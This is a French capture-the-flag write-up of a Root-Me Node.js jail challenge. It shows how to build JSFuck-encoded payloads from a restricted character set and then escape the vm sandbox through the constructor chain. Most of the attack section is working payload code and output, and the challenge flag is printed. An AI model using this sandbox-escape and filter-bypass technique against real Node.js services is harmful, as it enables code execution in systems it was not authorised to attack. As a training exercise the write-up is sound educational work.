MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Remerciements
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

📚 NodeJs - Never Trust Node One

👀 Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

🚩 Avoir le flag

Une fois arrivé dans cette jail NodeJs on n’a pas beaucoup de choix. Vu que nous avons uniquement droit à ces caractères:

$ nc nodejs.root-me.org 52000

+-------------------------------------------------------------------------------------------------------------+
|   ####      ##    ##        ####   ##   ##  ##         ##    ######    #####   ######      ####       ####  |
|   ##  ##   ####   ##      ##   ##  ##   ##  ##        ####   # ## #   ##   ##   ##  ##    ##  ##     ##  ## |
|   ##      ##  ##  ##     ##        ##   ##  ##       ##  ##    ##     ##   ##   ##  ##        ##     ## ### |
|   ##      ##  ##  ##     ##        ##   ##  ##       ##  ##    ##     ##   ##   #####       ###      ###### |
|   ##      ######  ##     ##        ##   ##  ##       ######    ##     ##   ##   ## ##      ##        ### ## |
|   ##  ##  ##  ##  ##       ##  ##  ##   ##  ##       ##  ##    ##     ##   ##   ##  ##    ##  ##  ## ##  ## |
|    ####   ##  ##  #######   ####    #####   #######  ##  ##   ####     #####    #### ##   ######  ##  ####  |
+-------------------------------------------------------------------------------------------------------------+
For security reasons, you can only use the following characters : ()[]{}'0123456789+-*/!

>>>

🗺️ Comment savoir où sommes nous ?

Avec aussi peu de caractères, il est très important de savoir au minimum dans quelles conditions nous sommes, pour ce faire nous allons générer une erreur.

>>> 1 **** 1
evalmachine.<anonymous>:1
(function() { 'use strict'; return 1 **** 1 ; })()
                                       ^^
SyntaxError: Unexpected token '**'
    at new Script (node:vm:99:7)
    at runInNewContext (/index.js:63:20)
    at /index.js:77:33
    at [_onLine] [as _onLine] (node:internal/readline/interface:414:7)
    at [_line] [as _line] (node:internal/readline/interface:887:18)
    at [_ttyWrite] [as _ttyWrite] (node:internal/readline/interface:1265:22)
    at ReadStream.onkeypress (node:internal/readline/interface:264:20)
    at ReadStream.emit (node:events:518:28)
    at emitKeys (node:internal/readline/utils:371:14)
    at emitKeys.next (<anonymous>)

Nous savons donc:

  • Nous sommes dans un environnement NodeJs
  • Nous avons accès à la fonction eval
  • Nous sommes en mode strict
  • Nous sommes dans le module vm
  • Nous avons accès à la fonction runInNewContext

💨 Avoir des caractères

Pour commencer à construire une payload en JavaScript, la première étape consiste à générer des caractères. Une technique amusante et puissante pour cela repose sur ce qu'on appelle le JSFuck

🤔 C'est quoi le ``JSFuck`` ?!

Le JSFuck est une méthode d'obfuscation. Grâce à la permissivité du langage JavaScript, on peut littéralement écrire n'importe quel script uniquement avec ces symboles. Cela fonctionne parce que JavaScript est extrêmement souple avec les conversions de types et la manipulation d’objets internes.

Prenons un exemple simple :

>>> (!1 + '')[1]
a

Décomposons ce qu’il se passe ici :

  • !1 est équivalent à false
  • false + '' force la conversion de false en chaîne de caractères, donnant 'false'
  • 'false'[1] renvoie le caractère à l’index 1, soit 'a'

En combinant ce type de logique, on peut reconstruire lettre par lettre n’importe quelle chaîne de caractères, ce qui est fondamental pour construire une payload sans utiliser directement de lettres dans le code source.

Nous pouvons donc effectuer un tableau comme cela pour les lettres:

const map = {
    'a': `(!1+'')[1]`,
    'b': `({}+'')[2]`,
    'c': `({}+'')[5]`,
    'd': `([][1]+'')[2]`,
    'e': `(!0+'')[3]`,
    'f': `(!1+'')[0]`,
    'g': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]`,
    'h': ``,
    'i': `(1/0+'')[3]`,
    'j': `({}+'')[3]`,
    'k': ``,
    'l': `(!1+'')[2]`,
    'm': `(1[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[11]`,
    'n': `(1/0+'')[4]`,
    'o': `({}+'')[1]`,
    'p': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]`,
    'q': ``,
    'r': `(!0+'')[1]`,
    's': `(!1+'')[3]`,
    't': `(!0+'')[0]`,
    'u': `(!0+'')[2]`,
    'v': `(1[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[25]`,
    'w': ``,
    'x': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[13]`,
    'y': `(1/0+'')[7]`,
    'z': ``,

    'A': `([][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'B': `((!0)[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'C': ``,
    'D': ``,
    'E': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[12]`,
    'F': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'G': ``,
    'H': ``,
    'I': `(1/0+'')[0]`,
    'J': ``,
    'K': ``,
    'L': ``,
    'M': ``,
    'N': `([]/[]+'')[0]`,
    'O': `({}[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'P': ``,
    'Q': ``,
    'R': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'S': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'T': ``,
    'U': ``,
    'V': ``,
    'W': ``,
    'X': ``,
    'Y': ``,
    'Z': ``,

    '.': `(+(11+(!0+'')[3]+100)+'')[1]`,
    '+': `(1111111111111111111111+'')[19]`,
    '<': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[0])`,
    '>': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[23])`,
    '=': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[11])`,
    '/': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[25])`,
    '"': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22])`,
};

🧩 Injection de code

Comme nous le savons, le module vm est un module qui permet d'exécuter du code JavaScript dans un contexte différent. Il est souvent utilisé pour exécuter du code dans un environnement sécurisé, mais il peut également être utilisé pour exécuter du code dans le contexte global

Nous savons également que nous pouvons sortir du context de vm et exécuter du code dans le contexte global. Grâce à ce trick:

>>> this.constructor.constructor("return this")()
Welcome to Node.js v22.15.0.
Type ".help" for more information.
> this.constructor.constructor("return this")()
<ref *1> Object [global] {
  global: [Circular *1],
  clearImmediate: [Function: clearImmediate],
  setImmediate: [Function: setImmediate] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  clearInterval: [Function: clearInterval],
  clearTimeout: [Function: clearTimeout],
  setInterval: [Function: setInterval],
  setTimeout: [Function: setTimeout] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  queueMicrotask: [Function: queueMicrotask],
  structuredClone: [Function: structuredClone],
  atob: [Function: atob],
  btoa: [Function: btoa],
  performance: [Getter/Setter],
  fetch: [Function: fetch],
  navigator: [Getter],
  crypto: [Getter]
}

Nous allons faire dans notre jail exactement la même chose. Mais sous format JSFuck

>>> ''[(!1+'')[1]+(!0+'')[0]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]((!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(!0+'')[2]+(!0+'')[1]+(1/0+'')[4]+' '+(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]+(!1+'')[2]+({}+'')[1]+({}+'')[2]+(!1+'')[1]+(!1+'')[2])()
<ref *1> Object [global] {
  global: [Circular *1],
  clearImmediate: [Function: clearImmediate],
  setImmediate: [Function: setImmediate] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  clearInterval: [Function: clearInterval],
  clearTimeout: [Function: clearTimeout],
  setInterval: [Function: setInterval],
  setTimeout: [Function: setTimeout] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  queueMicrotask: [Function: queueMicrotask],
  structuredClone: [Function: structuredClone],
  atob: [Getter/Setter],
  btoa: [Getter/Setter],
  performance: [Getter/Setter],
  fetch: [Function: fetch],
  crypto: [Getter],
  secret: [Function (anonymous)],
  contextReturn: [Circular *1]
}

Nous voyons que nous avons accès à une fonction secrète secret. Nous allons donc l'exécuter.

>>> ''[(!1+'')[1]+(!0+'')[0]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]((!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(!0+'')[2]+(!0+'')[1]+(1/0+'')[4]+' '+(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]+(!1+'')[2]+({}+'')[1]+({}+'')[2]+(!1+'')[1]+(!1+'')[2]+(+(11+(!0+'')[3]+100)+'')[1]+(!1+'')[3]+(!0+'')[3]+({}+'')[5]+(!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(1111111111111111111111+'')[19]+(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22])+(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]))()
(password) => {
    if (password === undefined) {
        console.log("You need to enter a password !");
        return;
    }
    if (password === "MST{nodejs_is_not_safe}") {
        console.log("YOU WIN !!!");
        return;
    }
    console.log("Wrong password !");
}

📖 Explication

'' -> this
[
    (!1+'')[1] + -> 'a'
    (!0+'')[0] + -> 't'
]
[
    ({}+'')[5] + -> 'c'
    ({}+'')[1] + -> 'o'
    (1/0+'')[4] + -> 'n'
    (!1+'')[3] + -> 's'
    (!0+'')[0] + -> 't'
    (!0+'')[1] + -> 'r'
    (!0+'')[2] + -> 'u'
    ({}+'')[5] + -> 'c'
    (!0+'')[0] + -> 't'
    ({}+'')[1] + -> 'o'
    (!0+'')[1] -> 'r'
]
(
    (!0+'')[1] + -> 'r'
    (!0+'')[3] + -> 'e'
    (!0+'')[0] + -> 't'
    (!0+'')[2] + -> 'u'
    (!0+'')[1] + -> 'r'
    (1/0+'')[4] + -> 'n'
    ' ' +  -> ' '
    (''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14] + -> 'g'
    (!1+'')[2] + -> 'l'
    ({}+'')[1] + -> 'o'
    ({}+'')[2] + -> 'b'
    (!1+'')[1] + -> 'a'
    (!1+'')[2] + -> 'l'
    (+(11+(!0+'')[3]+100)+'')[1]+ -> '.'
    (!1+'')[3] + -> 's'
    (!0+'')[3] + -> 'e'
    ({}+'')[5] + -> 'c'
    (!0+'')[1] + -> 'r'
    (!0+'')[3] + -> 'e'
    (!0+'')[0] + -> 't'
    (1111111111111111111111+'')[19] + -> '+'
    (''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]) + -> '"'
    (''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]) + -> '"'
)
()

🤓 Documentation

  • Recréer l'alphabet
  • Faire un JSFuck court
  • Avoir tous les caractères et tous les symboles
  • Lire une fonction
  • Alternative à this

💖 Support

👀 Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

Prev
🛑 Python - Not This Way